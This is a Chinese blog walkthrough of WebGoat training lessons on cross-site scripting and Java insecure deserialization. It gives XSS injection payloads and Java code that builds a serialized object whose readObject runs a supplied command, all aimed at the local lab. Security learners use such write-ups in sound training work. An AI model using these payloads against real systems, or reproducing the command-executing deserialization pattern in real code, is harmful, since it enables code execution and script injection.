WebGoat之路-5-Cross-Site Scripting & Insecure Deserialization
2020-10-07
(A7) Cross-Site Scripting (XSS)
Cross-Site Scripting
Stage 2
同一个站点,cookie是相同的,所以回答yes。
Stage 7
在卡号的框里输入<script>alert("xss")</script>
Stage 10
前端路由模式,test路径在url上怎么表示。
start.mvc#test
Stage 11
可以直接访问http://127.0.0.1:8080/WebGoat/start.mvc#test/test=%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E
,控制台里就会输出phoneNum了。
Stage 12
自己做吧。
(A8) Insecure Deserialization
Insecure Deserialization
Stage 5
先写一段java进行序列化
package org.dummy.insecure.framework;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;
public class VulnerableTaskHolder implements Serializable {
//网页上给出的是1,但是根据提示serialVersionUID可能更新了,因此改成2
private static final long serialVersionUID = 2;
private String taskName;
private String taskAction;
private LocalDateTime requestedExecutionTime;
public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now();
}
private void readObject( ObjectInputStream stream ) throws Exception {
//deserialize data so taskName and taskAction are available
stream.defaultReadObject();
//blindly run some code. #code injection
Runtime.getRuntime().exec(taskAction);
}
}
再写一个序列化的类
import org.dummy.insecure.framework.VulnerableTaskHolder;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class Main{
public static void main(String[] args) throws IOException {
VulnerableTaskHolder vulnerableTaskHolder=new VulnerableTaskHolder("sleep","sleep 5");
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUnshared(vulnerableTaskHolder);
String out=Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(out);
}
}
把输出的内容提交就行了。
这题有一个坑,服务端的VulnerableTaskHolder
和他网页上显示出来的不一样,它会检测命令是否以sleep
开头(防止影响WebGoat的运行),但是powershell
下,没有sleep
命令。所以运行WebGoat的shell一定要是bash,windows下git bash
也行。